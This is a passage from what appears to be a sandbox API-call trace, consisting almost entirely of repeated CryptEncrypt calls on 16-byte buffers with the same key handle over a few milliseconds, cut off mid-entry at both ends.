pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.494] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.494] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.494] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.494] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.494] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.494] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.494] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.494] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.494] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.494] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.494] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.494] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.494] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.495] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.495] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.495] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.495] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.495] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.495] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.495] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.495] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.495] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.495] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.495] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.495] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.495] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.495] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.495] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.495] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.496] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.496] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.496] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.496] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.496] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.496] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.496] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.496] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.496] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.496] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.496] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.496] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.496] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.496] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.496] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.497] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.497] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.497] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.497] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.497] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.497] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.497] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.497] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.497] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.497] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.497] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.497] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.497] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.497] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.498] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.498] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.498] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.498] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.498] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.498] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.498] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.498] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.498] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.498] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.498] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.498] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.498] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.498] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.498] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.499] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.499] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.499] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.499] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.499] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.499] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.499] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.499] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.499] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.499] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.499] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.499] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.499] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.499] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.500] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.500] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.500] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.500] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.500] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.500] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.500] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.500] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.500] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.500] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.500] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.500] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.500] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.500] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.501] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.501] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.501] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.501] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.501] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.501] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.501] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, 